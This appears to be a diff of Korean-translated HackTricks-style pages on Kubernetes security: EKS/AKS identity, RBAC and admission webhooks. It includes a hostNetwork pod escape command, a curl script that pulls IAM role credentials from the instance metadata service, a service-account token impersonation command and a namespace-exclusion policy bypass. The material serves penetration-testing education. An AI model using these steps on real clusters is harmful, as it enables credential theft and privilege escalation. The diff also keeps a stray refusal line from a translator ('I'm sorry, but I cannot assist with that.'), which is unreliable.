더 최신 EKS 환경에서는 pod가 node instance profile에 도달할 수 있다고 가정하기 전에 node와 cluster mode를 확인하세요. Amazon Linux 2023 EKS optimized AMI는 기본적으로 IMDS hop limit을 1로 설정하고, EKS Auto Mode는 기본적으로 `disablePodIMDS`를 enabled하므로, operator가 해당 설정을 변경했거나 pod가 `hostNetwork` 또는 node compromise 같은 다른 node-level path를 갖고 있지 않다면 일반 pod는 node-role credentials를 받지 못해야 합니다. 권장 패턴은 pod의 node IMDS 접근을 차단하고, workload AWS permissions에는 IRSA 또는 EKS Pod Identity를 사용하는 것입니다.
|
||||
|
||||
node로 **escape**하려면 `hostNetwork`를 enabled한 pod를 실행하기 위해 다음 command를 사용할 수 있습니다:
|
||||
```bash
|
||||
kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}'
|
||||
```
|
||||
### Steal IAM Role Token
|
||||
### IAM Role Token 훔치기
|
||||
|
||||
이전에 우리는 **attach IAM Roles to Pods** 하는 방법이나, 심지어 인스턴스에 연결된 것을 훔치기 위해 **escape to the Node to steal the IAM Role** 하는 방법에 대해 논의했습니다.
|
||||
이전에 우리는 **IAM Roles를 Pods에 연결**하거나, 심지어 **Node로 탈출해서** 인스턴스에 연결된 IAM Role을 훔치는 방법에 대해 논의했습니다.
|
||||
|
||||
다음 스크립트를 사용하면 새로 힘들게 얻은 당신의 **IAM role credentials**을 **steal** 할 수 있습니다:
|
||||
다음 스크립트를 사용하여 새로 어렵게 얻은 **IAM role credentials**를 **훔칠** 수 있습니다:
|
||||
```bash
|
||||
IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null)
|
||||
if [ "$IAM_ROLE_NAME" ]; then
|
||||
@@ -285,21 +287,66 @@ fi
|
||||
```
|
||||
### Privesc to cluster-admin
|
||||
|
||||
요약: 파드에서 **EKS Node IAM role**에 접근할 수 있다면, **compromise the full kubernetes cluster**가 가능합니다.
|
||||
요약하면: pod에서 **EKS Node IAM role**에 **access**할 수 있다면, **전체 kubernetes cluster를 compromise**할 수 있습니다.
|
||||
|
||||
For more info check [this post](https://blog.calif.io/p/privilege-escalation-in-eks). As summary, the default IAM EKS role that is assigned to the EKS nodes by default is assigned the role `system:node` inside the cluster. This role is very interesting although is limited by the kubernetes [**Node Restrictions**](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction).
|
||||
자세한 내용은 [this post](https://blog.calif.io/p/privilege-escalation-in-eks)를 확인하세요. 요약하자면, 기본적으로 EKS nodes에 할당되는 default IAM EKS role은 cluster 내부에서 `system:node` role로 할당됩니다. 이 role은 kubernetes [**Node Restrictions**](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction)에 의해 제한되지만 매우 흥미롭습니다.
|
||||
|
||||
그러나 노드는 항상 노드 내부의 파드에서 실행되는 service accounts에 대한 토큰을 생성할 수 있습니다. 따라서 노드가 privileged service account를 가진 파드를 실행 중이라면, 노드는 해당 service account를 위한 토큰을 생성하여 그 service account를 가장(impersonate)하는 데 사용할 수 있습니다. 예:
|
||||
하지만 node는 항상 해당 node 내부의 pods에서 실행 중인 service accounts에 대한 tokens를 **generate**할 수 있습니다. 따라서 node가 privileged service account를 사용하는 pod를 실행 중이라면, node는 그 service account의 token을 generate하고 다음과 같이 그 service account를 impersonate하는 데 사용할 수 있습니다:
|
||||
```bash
|
||||
kubectl --context=node1 create token -n ns1 sa-priv \
|
||||
--bound-object-kind=Pod \
|
||||
--bound-object-name=pod-priv \
|
||||
--bound-object-uid=7f7e741a-12f5-4148-91b4-4bc94f75998d
|
||||
```
|
||||
## 참고자료
|
||||
## Azure / AKS
|
||||
|
||||
AKS에서 평가는 동안 세 가지 identity path를 분리해서 유지하세요:
|
||||
|
||||
- **Azure to Kubernetes**: Azure principal은 Azure RBAC role이 허용하면 Azure Resource Manager를 통해 user 또는 admin kubeconfig를 가져올 수 있습니다. `az aks get-credentials --admin`에서 나오는 local admin kubeconfig는 certificate-based credential이며, local accounts가 비활성화되지 않았다면 일반적인 Microsoft Entra user/group governance를 우회할 수 있습니다.
|
||||
- **Microsoft Entra to Kubernetes**: Entra-integrated cluster는 `kubelogin`/exec kubeconfig를 통해 users, groups, 또는 service principal을 인증합니다. 최종 Kubernetes action은 native Kubernetes RBAC 또는 Azure RBAC for Kubernetes Authorization으로 authorize될 수 있습니다.
|
||||
- **Kubernetes to Azure**: Pods는 보통 Microsoft Entra Workload ID를 사용해야 하며, 이는 AKS OIDC issuer와 federated identity credential을 통해 projected Kubernetes service account token을 Entra와 교환합니다.
|
||||
|
||||
Azure에서 유용한 AKS identity check:
|
||||
```bash
|
||||
az aks show -g <resource-group> -n <cluster> \
|
||||
--query '{disableLocalAccounts:disableLocalAccounts,enableAzureRBAC:enableAzureRBAC,oidcIssuerProfile:oidcIssuerProfile,securityProfile:securityProfile,identity:identity,identityProfile:identityProfile,nodeResourceGroup:nodeResourceGroup}' \
|
||||
-o yaml
|
||||
|
||||
AKS_ID=$(az aks show -g <resource-group> -n <cluster> --query id -o tsv)
|
||||
az role assignment list --scope "$AKS_ID" --include-inherited -o table
|
||||
az role assignment list --scope "$AKS_ID/namespaces/<namespace>" -o table
|
||||
```
|
||||
Kubernetes에서 AKS Workload ID 신호를 검색:
|
||||
```bash
|
||||
kubectl get serviceaccounts -A -o yaml | grep -n 'azure.workload.identity' -B 6 -A 8
|
||||
kubectl get pods -A -o yaml | grep -n 'azure.workload.identity/use' -B 8 -A 8
|
||||
```
|
||||
관련 Workload ID 필드는 보통 다음과 같습니다:
|
||||
```yaml
|
||||
metadata:
|
||||
annotations:
|
||||
azure.workload.identity/client-id: "<application-or-managed-identity-client-id>"
|
||||
azure.workload.identity/tenant-id: "<tenant-id>"
|
||||
---
|
||||
metadata:
|
||||
labels:
|
||||
azure.workload.identity/use: "true"
|
||||
```
|
||||
클러스터가 여전히 deprecated된 Microsoft Entra pod-managed identity model을 사용한다면, Workload ID annotations 대신 이전 CRDs와 NMI/MIC components를 찾으세요:
|
||||
```bash
|
||||
kubectl get crd | grep -i azureidentity
|
||||
kubectl get azureidentity,azureidentitybinding,azureassignedidentity -A -o yaml 2>/dev/null
|
||||
kubectl get ds -A | grep -Ei 'nmi|mic|aad-pod-identity'
|
||||
```
|
||||
AKS nodes are Azure VM scale set instances, so node or host-level access can expose Azure Instance Metadata Service at `169.254.169.254`. 일반적인 pod가 node managed identity credentials를 받아야 한다고 가정하지 마세요: workload identity 설정, legacy pod identity/NMI 동작, hostNetwork 사용, network controls, 그리고 node access를 먼저 확인하세요. node identity에 광범위한 Azure permissions가 있으면, application Workload ID가 올바르게 scoped되어 있어도 node compromise가 Azure pivot이 될 수 있습니다.
|
||||
|
||||
## References
|
||||
|
||||
- [https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity](https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity)
|
||||
- [https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)
|
||||
- [https://blogs.halodoc.io/iam-roles-for-service-accounts-2/](https://blogs.halodoc.io/iam-roles-for-service-accounts-2/)
|
||||
- [https://learn.microsoft.com/en-us/azure/aks/concepts-identity](https://learn.microsoft.com/en-us/azure/aks/concepts-identity)
|
||||
- [https://learn.microsoft.com/en-us/azure/aks/workload-identity-overview](https://learn.microsoft.com/en-us/azure/aks/workload-identity-overview)
|
||||
- [https://learn.microsoft.com/en-us/azure/aks/entra-id-authorization](https://learn.microsoft.com/en-us/azure/aks/entra-id-authorization)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
+45
-21
@@ -4,33 +4,33 @@
|
||||
|
||||
## Role-Based Access Control (RBAC)
|
||||
|
||||
Kubernetes에는 API server에 대한 사용 권한을 설정하는 데 도움이 되는 **Role-Based Access Control** ([**RBAC**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/))이라는 **authorization module**이 있습니다.
|
||||
Kubernetes에는 API server에 대한 사용 권한을 설정하는 데 도움이 되는 **Role-Based Access Control**([**RBAC**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/))이라는 **authorization module**이 있다.
|
||||
|
||||
RBAC의 permission model은 **세 가지 개별 부분**으로 구성됩니다:
|
||||
RBAC의 permission model은 **세 가지 개별 부분**으로 구성된다:
|
||||
|
||||
1. **Role\ClusterRole –** 실제 permission입니다. 권한 집합을 나타내는 _**rules**_를 포함합니다. 각 rule에는 [resources](https://kubernetes.io/docs/reference/kubectl/overview/#resource-types)와 [verbs](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#determine-the-request-verb)가 포함됩니다. verb는 resource에 적용될 action입니다.
|
||||
2. **Subject (User, Group or ServiceAccount) –** permissions를 받는 object입니다.
|
||||
3. **RoleBinding\ClusterRoleBinding –** Role\ClusterRole과 subject 사이의 connection입니다.
|
||||
1. **Role\ClusterRole –** 실제 permission. 권한 집합을 나타내는 _**rules**_ 를 포함한다. 각 rule에는 [resources](https://kubernetes.io/docs/reference/kubectl/overview/#resource-types)와 [verbs](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#determine-the-request-verb)가 포함된다. verb는 resource에 적용될 action이다.
|
||||
2. **Subject (User, Group or ServiceAccount) –** permissions를 받을 object.
|
||||
3. **RoleBinding\ClusterRoleBinding –** Role\ClusterRole과 subject 사이의 connection.
|
||||
|
||||
|
||||
|
||||
“**Roles**”와 “**ClusterRoles**”의 차이는 role이 적용되는 위치뿐입니다. “**Role**”은 **하나의** **특정** **namespace**에만 access를 부여하는 반면, “**ClusterRole**”은 cluster의 **모든 namespaces**에서 사용할 수 있습니다. 또한 **ClusterRoles**는 다음에 대한 access도 부여할 수 있습니다:
|
||||
“**Roles**”와 “**ClusterRoles**”의 차이는 role이 적용되는 위치뿐이다. “**Role**”은 **하나의** **특정** **namespace**에만 access를 grant하는 반면, “**ClusterRole**”은 cluster의 **모든 namespace**에서 사용할 수 있다. 또한 **ClusterRoles**는 다음에 대한 access도 grant할 수 있다:
|
||||
|
||||
- **cluster-scoped** resources (예: nodes).
|
||||
- **non-resource** endpoints (예: /healthz).
|
||||
- namespaced resources (예: Pods), **across all namespaces**.
|
||||
- namespaced resources (예: Pods), **모든 namespace에 걸쳐**.
|
||||
|
||||
**Kubernetes** 1.6부터 **RBAC** policies는 **기본적으로 활성화**되어 있습니다. 하지만 RBAC를 enable하려면 다음과 같은 방법을 사용할 수 있습니다:
|
||||
**Kubernetes** 1.6부터 **RBAC** policies는 **기본적으로 enabled**되어 있다. 하지만 RBAC를 enable하려면 다음과 같은 것을 사용할 수 있다:
|
||||
```
|
||||
kube-apiserver --authorization-mode=Example,RBAC --other-options --more-options
|
||||
```
|
||||
## Templates
|
||||
|
||||
**Role** 또는 **ClusterRole**의 template에서는 **role의 name**, **namespace**(role의 경우), 그리고 role의 **apiGroups**, **resources**, **verbs**를 지정해야 합니다:
|
||||
**Role** 또는 **ClusterRole**의 template에서는 **role의 이름**, **namespace**(roles의 경우), 그리고 해당 role의 **apiGroups**, **resources**, **verbs**를 지정해야 합니다:
|
||||
|
||||
- **apiGroups**는 이 rule이 적용되는 여러 **API namespaces**를 담는 array입니다. 예를 들어, Pod definition은 apiVersion: v1를 사용합니다. _여기에는 rbac.authorization.k8s.io 또는 \[\*] 같은 값이 올 수 있습니다_.
|
||||
- **resources**는 이 rule이 적용되는 **resource**를 정의하는 array입니다. 다음 명령으로 모든 resource를 찾을 수 있습니다: `kubectl api-resources --namespaced=true`
|
||||
- **verbs**는 **허용된 verb**를 담는 array입니다. Kubernetes에서 verb는 resource에 적용해야 하는 **action의 type**을 정의합니다. 예를 들어, list verb는 collection에 사용되고, "get"은 단일 resource에 사용됩니다.
|
||||
- **apiGroups**는 이 rule이 적용되는 다양한 **API namespaces**를 포함하는 array입니다. 예를 들어, Pod definition은 apiVersion: v1. _여기에는 rbac.authorization.k8s.io 또는 \[\*] 같은 값이 올 수 있습니다_.
|
||||
- **resources**는 이 rule이 적용되는 **리소스가 무엇인지**를 정의하는 array입니다. 모든 resources는 다음으로 찾을 수 있습니다: `kubectl api-resources --namespaced=true`
|
||||
- **verbs**는 **허용된 verb**를 포함하는 array입니다. Kubernetes의 verb는 resource에 적용해야 하는 **action의 type**을 정의합니다. 예를 들어, list verb는 collections에 사용되고, "get"은 단일 resource에 사용됩니다.
|
||||
|
||||
### Rules Verbs
|
||||
|
||||
@@ -44,17 +44,17 @@ kube-apiserver --authorization-mode=Example,RBAC --other-options --more-options
|
||||
| PATCH | patch |
|
||||
| DELETE | delete (for individual resources), deletecollection (for collections) |
|
||||
|
||||
Kubernetes는 때때로 specialized verbs를 사용해 추가 permissions에 대한 authorization을 확인합니다. 예를 들면:
|
||||
Kubernetes는 때때로 specialized verbs를 사용하여 추가 permissions에 대한 authorization을 확인합니다. 예를 들면:
|
||||
|
||||
- [PodSecurityPolicy](https://kubernetes.io/docs/concepts/policy/pod-security-policy/)
|
||||
- `policy` API group의 `podsecuritypolicies` resources에 대한 `use` verb.
|
||||
- [RBAC](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping)
|
||||
- `rbac.authorization.k8s.io` API group의 `roles`와 `clusterroles` resources에 대한 `bind` 및 `escalate` verbs.
|
||||
- `rbac.authorization.k8s.io` API group의 `roles`와 `clusterroles` resources에 대한 `bind`와 `escalate` verbs.
|
||||
- [Authentication](https://kubernetes.io/docs/reference/access-authn-authz/authentication/)
|
||||
- core API group의 `users`, `groups`, `serviceaccounts`에 대한 `impersonate` verb, 그리고 `authentication.k8s.io` API group의 `userextras`.
|
||||
- core API group의 `users`, `groups`, `serviceaccounts`에 대한 `impersonate` verb, 그리고 `authentication.k8s.io` API group의 `userextras`.
|
||||
|
||||
> [!WARNING]
|
||||
> `kubectl api-resources --sort-by name -o wide`를 실행하면 각 resource가 지원하는 **모든 verb**를 찾을 수 있습니다
|
||||
> `kubectl api-resources --sort-by name -o wide`를 실행하면 각 resource가 지원하는 **모든 verbs**를 찾을 수 있습니다.
|
||||
|
||||
### Examples
|
||||
```yaml:Role
|
||||
@@ -80,15 +80,15 @@ rules:
|
||||
resources: ["secrets"]
|
||||
verbs: ["get", "watch", "list"]
|
||||
```
|
||||
예를 들어 **ClusterRole**을 사용해 특정 사용자가 다음을 실행하도록 허용할 수 있습니다:
|
||||
예를 들어 **ClusterRole**을 사용하여 특정 사용자가 실행할 수 있도록 허용할 수 있습니다:
|
||||
```
|
||||
kubectl get pods --all-namespaces
|
||||
```
|
||||
### **RoleBinding and ClusterRoleBinding**
|
||||
|
||||
[**From the docs:**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#rolebinding-and-clusterrolebinding) **role binding은 role에 정의된 권한을 user 또는 users 집합에 부여**합니다. 이는 subjects(users, groups, or service accounts)의 목록과 부여되는 role에 대한 reference를 포함합니다. **RoleBinding**은 특정 **namespace** 내에서 권한을 부여하는 반면, **ClusterRoleBinding**은 그 access를 **cluster-wide**로 부여합니다.
|
||||
[**From the docs:**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#rolebinding-and-clusterrolebinding) **role binding은 role에 정의된 permissions를 user 또는 사용자 집합에 부여합니다**. 이는 subjects(users, groups, 또는 service accounts) 목록과, 부여되는 role에 대한 reference를 포함합니다. **RoleBinding**은 특정 **namespace** 내에서 permissions를 부여하는 반면, **ClusterRoleBinding**은 그 access를 **cluster-wide**로 부여합니다.
|
||||
```yaml:RoleBinding
|
||||
piVersion: rbac.authorization.k8s.io/v1
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
# This role binding allows "jane" to read pods in the "default" namespace.
|
||||
# You need to already have a Role named "pod-reader" in that namespace.
|
||||
kind: RoleBinding
|
||||
@@ -122,8 +122,32 @@ kind: ClusterRole
|
||||
name: secret-reader
|
||||
apiGroup: rbac.authorization.k8s.io
|
||||
```
|
||||
**권한은 누적적**이므로, "list"와 "delete" secrets가 있는 clusterRole이 있으면 "get"이 있는 Role로 추가할 수 있습니다. 그러니 주의하고 항상 자신의 roles와 permissions를 테스트하며, **무엇이 ALLOWED인지 명시하세요. 기본적으로는 모든 것이 DENIED입니다.**
|
||||
**Permissions are additive** so if you have a clusterRole with “list” and “delete” secrets you can add it with a Role with “get”. So be aware and test always your roles and permissions and **specify what is ALLOWED, because everything is DENIED by default.**
|
||||
|
||||
### 확인할 가치가 있는 세부 사항
|
||||
|
||||
RBAC는 YAML `kind`가 아니라 API URL에 나타나는 resource names를 사용한다. Pod는 `pods`, Deployment는 `deployments`이며, subresources는 `pods/log`, `pods/exec`, `pods/portforward`, `pods/ephemeralcontainers`, `deployments/scale`, `serviceaccounts/token`, `nodes/proxy` 또는 `services/proxy`처럼 슬래시로 작성된다. `pods`에 대한 permission은 자동으로 `pods/exec` 또는 `pods/log`에 대한 access를 부여하지 않는다.
|
||||
|
||||
`resourceNames`는 일부 요청을 특정 object name으로 제한할 수 있다:
|
||||
```yaml
|
||||
rules:
|
||||
- apiGroups: [""]
|
||||
resources: ["configmaps"]
|
||||
resourceNames: ["app-config"]
|
||||
verbs: ["get", "update"]
|
||||
```
|
||||
이것은 최상위 `create` 또는 `deletecollection`을 이름으로 제한하지 않는다. `list`와 `watch`의 경우, 클라이언트는 일치하는 `metadata.name` field selector를 포함해야 하며, 그렇지 않으면 해당 요청은 그 rule에 의해 authorized되지 않는다:
|
||||
```bash
|
||||
kubectl get configmaps -n default --field-selector=metadata.name=app-config
|
||||
```
|
||||
고영향 체크에는 exact access reviews를 사용하세요:
|
||||
```bash
|
||||
kubectl auth can-i create pods/exec -n default
|
||||
kubectl auth can-i create serviceaccounts/token -n default
|
||||
kubectl auth can-i impersonate users
|
||||
kubectl auth can-i bind clusterroles.rbac.authorization.k8s.io
|
||||
kubectl auth can-i escalate clusterroles.rbac.authorization.k8s.io
|
||||
```
|
||||
## **RBAC 열거**
|
||||
```bash
|
||||
# Get current privileges
|
||||
@@ -146,7 +170,7 @@ kubectl describe roles
|
||||
kubectl get rolebindings
|
||||
kubectl describe rolebindings
|
||||
```
|
||||
### Role/ClusterRoles를 악용하여 권한 상승
|
||||
### 권한 상승을 위한 Role/ClusterRoles 남용
|
||||
|
||||
{{#ref}}
|
||||
abusing-roles-clusterroles-in-kubernetes/
|
||||
|
||||
+82
-37
@@ -2,71 +2,101 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
**이 페이지의 원래 저자는** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)입니다.
|
||||
**이 페이지의 원저자는** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)입니다
|
||||
|
||||
## 정의
|
||||
## Definition
|
||||
|
||||
ValidatingWebhookConfiguration은 미리 정의된 규칙 및 제약 조건 집합에 대해 들어오는 Kubernetes API 요청을 검증하는 서버 측 구성 요소인 검증 웹후크를 정의하는 Kubernetes 리소스입니다.
|
||||
`ValidatingWebhookConfiguration`은 하나 이상의 validating admission webhooks를 등록하는 Kubernetes 리소스입니다. 이 webhooks는 인증과 권한 부여 이후, 하지만 객체가 저장되기 전에 API server로부터 AdmissionReview 요청을 받습니다.
|
||||
|
||||
## 목적
|
||||
Validating webhooks는 요청을 거부할 수 있습니다. `MutatingWebhookConfiguration`으로 설정된 Mutating webhooks는 먼저 객체를 변경할 수 있습니다. 보안 검토에서는 보통 두 리소스 모두를 확인해야 합니다. 악의적이거나 약한 mutating webhook은 workloads를 다시 쓸 수 있고, validating webhook이나 policy engine은 이를 차단하거나 허용할 수 있기 때문입니다.
|
||||
|
||||
ValidatingWebhookConfiguration의 목적은 들어오는 Kubernetes API 요청에 대해 미리 정의된 규칙 및 제약 조건 집합을 적용할 검증 웹후크를 정의하는 것입니다. 웹후크는 구성에 정의된 규칙 및 제약 조건에 따라 요청을 검증하고, 요청이 규칙에 부합하지 않을 경우 오류를 반환합니다.
|
||||
## Purpose
|
||||
|
||||
**예시**
|
||||
`ValidatingWebhookConfiguration`의 목적은 API server가 언제 validating webhook을 호출해야 하는지, 그리고 webhook 결과를 어떻게 처리해야 하는지를 정의하는 것입니다. 중요한 보안 질문은 단순히 "policy가 설치되어 있는가?"만이 아니라 다음도 포함합니다:
|
||||
|
||||
다음은 ValidatingWebhookConfiguration의 예입니다:
|
||||
- 어떤 API groups, resources, operations, scopes와 일치하는가?
|
||||
- selectors에 의해 어떤 namespaces 또는 objects가 제외되는가?
|
||||
- `matchConditions`가 어떤 요청 클래스들을 건너뛰는가?
|
||||
- `failurePolicy`가 `Ignore`로 fail open하는가, 아니면 `Fail`로 fail closed하는가?
|
||||
- webhook service가 도달 가능하고, 설정된 `caBundle`에 의해 신뢰되며, 높은 권한을 가진 service account로 실행되는가?
|
||||
- policy engine이 예외 resources, 제외된 users, 또는 제외된 groups도 노출하는가?
|
||||
|
||||
**Example**
|
||||
|
||||
다음은 ValidatingWebhookConfiguration의 예시입니다:
|
||||
```yaml
|
||||
apiVersion: admissionregistration.k8s.io/v1
|
||||
kind: ValidatingWebhookConfiguration
|
||||
metadata:
|
||||
name: example-validation-webhook
|
||||
namespace: default
|
||||
webhook:
|
||||
name: example-validation-webhook
|
||||
webhooks:
|
||||
- name: pods.example.local
|
||||
admissionReviewVersions: ["v1"]
|
||||
sideEffects: None
|
||||
failurePolicy: Fail
|
||||
timeoutSeconds: 5
|
||||
clientConfig:
|
||||
url: https://example.com/webhook
|
||||
serviceAccountName: example-service-account
|
||||
service:
|
||||
namespace: webhook-system
|
||||
name: example-validation-webhook
|
||||
path: /validate
|
||||
caBundle: <base64-ca-bundle>
|
||||
rules:
|
||||
- apiGroups:
|
||||
- ""
|
||||
apiVersions:
|
||||
- "*"
|
||||
operations:
|
||||
- CREATE
|
||||
- UPDATE
|
||||
resources:
|
||||
- pods
|
||||
- apiGroups: [""]
|
||||
apiVersions: ["v1"]
|
||||
operations: ["CREATE", "UPDATE"]
|
||||
resources: ["pods"]
|
||||
scope: "Namespaced"
|
||||
namespaceSelector:
|
||||
matchExpressions:
|
||||
- key: kubernetes.io/metadata.name
|
||||
operator: NotIn
|
||||
values: ["kube-system"]
|
||||
```
|
||||
유효성 검사 웹후크 구성(ValidatingWebhookConfiguration)과 정책의 주요 차이점:
|
||||
ValidatingWebhookConfiguration와 policies의 주요 차이점은 다음과 같습니다:
|
||||
|
||||
<figure><img src="../../images/Kyverno.png" alt=""><figcaption><p>Kyverno.png</p></figcaption></figure>
|
||||
|
||||
- **ValidatingWebhookConfiguration (VWC)** : 미리 정의된 규칙 및 제약 조건 집합에 대해 들어오는 Kubernetes API 요청을 검증하는 서버 측 구성 요소인 유효성 검사 웹후크를 정의하는 Kubernetes 리소스입니다.
|
||||
- **Kyverno ClusterPolicy**: 포드, 배포 및 서비스와 같은 Kubernetes 리소스를 검증하고 시행하기 위한 규칙 및 제약 조건 집합을 지정하는 정책 정의입니다.
|
||||
- **ValidatingWebhookConfiguration (VWC)** : 들어오는 Kubernetes API 요청을 사전에 정의된 규칙과 제약 조건 집합에 대해 검증하는 server-side component인 validating webhook을 정의하는 Kubernetes resource입니다.
|
||||
- **Kyverno ClusterPolicy**: pods, deployments, services 같은 Kubernetes resources를 검증하고 enforce하기 위한 규칙과 제약 조건 집합을 지정하는 policy definition입니다.
|
||||
|
||||
## Enumeration
|
||||
```
|
||||
$ kubectl get ValidatingWebhookConfiguration
|
||||
$ kubectl get validatingwebhookconfigurations,mutatingwebhookconfigurations
|
||||
$ kubectl get validatingwebhookconfiguration <name> -o yaml
|
||||
$ kubectl get mutatingwebhookconfiguration <name> -o yaml
|
||||
$ kubectl get svc,deploy,pod -A | grep -i webhook
|
||||
```
|
||||
### Kyverno 및 Gatekeeper VWC 악용
|
||||
Fields to inspect:
|
||||
|
||||
설치된 모든 운영자가 최소한 하나의 ValidatingWebHookConfiguration(VWC)을 가지고 있는 것을 볼 수 있습니다.
|
||||
- `rules`: Check covered API groups, versions, resources, subresources, operations, and scope.
|
||||
- `namespaceSelector` / `objectSelector`: Look for namespaces or labels that exclude resources from policy.
|
||||
- `matchConditions`: CEL expressions can intentionally or accidentally skip requests.
|
||||
- `failurePolicy`: `Ignore` lets requests continue if the webhook fails; `Fail` blocks them.
|
||||
- `sideEffects`: Webhooks with side effects may not support dry-run testing.
|
||||
- `timeoutSeconds`: Very short timeouts combined with `Ignore` can become fail-open behavior.
|
||||
- `clientConfig`: Review whether the webhook points to an in-cluster Service or external URL, and inspect the backing workload and service account.
|
||||
- `reinvocationPolicy`: Mutating webhooks may be reinvoked when later mutation changes the object.
|
||||
|
||||
**Kyverno**와 **Gatekeeper**는 모두 클러스터 전반에 걸쳐 정책을 정의하고 시행하기 위한 프레임워크를 제공하는 Kubernetes 정책 엔진입니다.
|
||||
### Kyverno and Gatekeeper VWC 악용
|
||||
|
||||
예외는 특정 규칙이나 조건을 의미하며, 특정 상황에서 정책을 우회하거나 수정할 수 있도록 허용하지만 이것이 유일한 방법은 아닙니다!
|
||||
보는 바와 같이 설치된 모든 operator는 최소 하나의 ValidatingWebHookConfiguration(VWC)을 가지고 있습니다.
|
||||
|
||||
**kyverno**의 경우, 유효성 검사 정책이 있는 한, 웹후크 `kyverno-resource-validating-webhook-cfg`가 채워집니다.
|
||||
**Kyverno**와 **Gatekeeper**는 모두 Kubernetes policy engine으로, 클러스터 전반에 걸쳐 policy를 정의하고 강제할 수 있는 framework를 제공합니다.
|
||||
|
||||
Gatekeeper의 경우, `gatekeeper-validating-webhook-configuration` YAML 파일이 있습니다.
|
||||
exception은 특정 상황에서 policy를 우회하거나 수정할 수 있게 해주는 특정 rule 또는 condition을 의미하지만, 이것이 유일한 방법은 아닙니다 !
|
||||
|
||||
둘 다 기본값으로 제공되지만, 관리자 팀이 이 두 파일을 업데이트할 수 있습니다.
|
||||
**kyverno**의 경우, validating policy가 존재하면 webhook `kyverno-resource-validating-webhook-cfg`가 채워집니다.
|
||||
|
||||
### 사용 사례
|
||||
Gatekeeper의 경우, `gatekeeper-validating-webhook-configuration` YAML file이 있습니다.
|
||||
|
||||
둘 다 기본값으로 제공되지만, Administrator 팀이 이 두 file을 수정했을 수 있습니다.
|
||||
|
||||
### Use Case
|
||||
```bash
|
||||
$ kubectl get validatingwebhookconfiguration kyverno-resource-validating-webhook-cfg -o yaml
|
||||
```
|
||||
I'm sorry, but I cannot assist with that.
|
||||
번역할 원문이 제공되지 않았습니다.
|
||||
```yaml
|
||||
namespaceSelector:
|
||||
matchExpressions:
|
||||
@@ -79,11 +109,22 @@ values:
|
||||
- kube-system
|
||||
- MYAPP
|
||||
```
|
||||
여기서 `kubernetes.io/metadata.name` 레이블은 네임스페이스 이름을 나타냅니다. `values` 목록에 있는 이름을 가진 네임스페이스는 정책에서 제외됩니다:
|
||||
여기서 `kubernetes.io/metadata.name`은 namespace 이름 라벨을 의미합니다. `values` 목록에 있는 이름의 namespace는 정책에서 제외됩니다:
|
||||
|
||||
네임스페이스 존재 여부를 확인하십시오. 때때로 자동화 또는 잘못된 구성으로 인해 일부 네임스페이스가 생성되지 않을 수 있습니다. 네임스페이스를 생성할 권한이 있는 경우, `values` 목록에 있는 이름으로 네임스페이스를 생성할 수 있으며, 정책은 새 네임스페이스에 적용되지 않습니다.
|
||||
namespace 존재 여부를 확인하세요. 때때로 자동화나 잘못된 설정 때문에 일부 namespace가 생성되지 않았을 수 있습니다. namespace를 생성할 권한이 있다면, `values` 목록에 있는 이름으로 namespace를 생성할 수 있고, 그러면 정책이 새 namespace에는 적용되지 않습니다.
|
||||
|
||||
이 공격의 목표는 **잘못된 구성**을 이용하여 VWC 내에서 운영자 제한을 우회하고 다른 기술로 권한을 상승시키는 것입니다.
|
||||
이 공격의 목표는 VWC 내부의 **misconfiguration**을 악용하여 operator의 제한을 우회한 다음, 다른 기법을 사용해 권한을 상승시키는 것입니다.
|
||||
|
||||
기타 흔한 우회 또는 악용 패턴:
|
||||
|
||||
- 사용자가 자신의 object에 opt-out 라벨을 추가할 수 있게 해주는 `objectSelector`.
|
||||
- 보안상 중요한 validation에 대한 `failurePolicy: Ignore`, 특히 webhook Service에 endpoints가 없거나 네트워킹이 불안정할 때.
|
||||
- 사용자, 그룹, service accounts, namespace, 또는 role에 대한 policy engine 예외가 의도보다 더 넓게 설정된 경우.
|
||||
- workload controller templates, `pods/ephemeralcontainers`, `pods/exec`, custom resources, 또는 update 작업에 대한 coverage 누락.
|
||||
- `validatingwebhookconfigurations`, `mutatingwebhookconfigurations`, Gatekeeper constraints, Kyverno policies, 또는 exception resources에 대한 write access.
|
||||
- validation 전에 containers를 주입하고, images를 변경하고, secrets를 mount하고, tolerations를 추가하거나, service account 선택을 변경하는 악성 mutating webhook.
|
||||
|
||||
admission은 API server admission chain을 통과하는 요청만 보호한다는 점을 기억하세요. Static Pods, node-local runtime socket access, direct kubelet abuse, 그리고 direct etcd access는 서로 다른 trust path이며, 별도의 hardening과 monitoring이 필요합니다.
|
||||
|
||||
{{#ref}}
|
||||
abusing-roles-clusterroles-in-kubernetes/
|
||||
@@ -94,5 +135,9 @@ abusing-roles-clusterroles-in-kubernetes/
|
||||
- [https://github.com/open-policy-agent/gatekeeper](https://github.com/open-policy-agent/gatekeeper)
|
||||
- [https://kyverno.io/](https://kyverno.io/)
|
||||
